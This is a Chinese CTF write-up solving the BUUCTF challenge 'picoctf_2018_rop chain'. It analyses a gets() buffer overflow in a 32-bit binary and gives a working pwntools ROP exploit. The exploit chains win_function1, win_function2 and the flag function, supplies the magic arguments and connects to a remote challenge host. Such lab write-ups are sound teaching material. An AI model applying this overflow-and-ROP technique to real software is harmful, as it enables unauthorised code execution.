zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——picoctf_2018_rop chain

    picoctf_2018_rop chain

    附件

    步骤:

    1. 例行检查,32位,开启了NX保护
      在这里插入图片描述
    2. 试运行一下程序,看到输入太长数据会崩溃
      在这里插入图片描述
    3. 32位ida载入,习惯性的检索程序里的字符串,看见了flag.txt,双击跟进
      在这里插入图片描述
      看到程序将flag读入到了参数s里面,满足条件win1&&win2 &&a1==-59039827的条件,就能读出flag
    4. 从main函数开始看程序
      在这里插入图片描述
      vuln()函数
      在这里插入图片描述
      gets函数输入,没有限制读入长度,存在溢出漏洞,覆盖ret为flag函数地址,之后想办法去满足那个if判断即可获得flag
      在程序里找到了给win1,win2赋值的函数
      win_function1函数直接给win1赋值成了1
      在这里插入图片描述
      win_function2函数当满足条件的时候会将win2赋值为1
      在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    利用思路,首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win的值为1,之后去执行flag函数,if要满足的条件之前都设置好了,可以直接读出flag

    from pwn import *
    
    r = remote("node3.buuoj.cn", 26602)
    
    win_function1 = 0x080485CB
    win_function2 = 0x080485D8
    flag = 0x0804862B
    
    payload = "a" * 0x1c
    payload += p32(win_function1)
    payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
    r.sendlineafter("input> ", payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    牛客题霸NC15求二叉树的层序遍历Java题解
    牛客题霸NC105二分查找Java题解
    .net基本性本能优化问题
    urlRewriter
    元数据MetaData
    asp.net整体运行机制详解
    asp.net整体运行机制
    asp.net页面从初始化到卸载事件顺序
    Spring表达式语言之SpEL
    Spring 学习笔记(三)之注解
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273678.html
Copyright © 2011-2022 走看看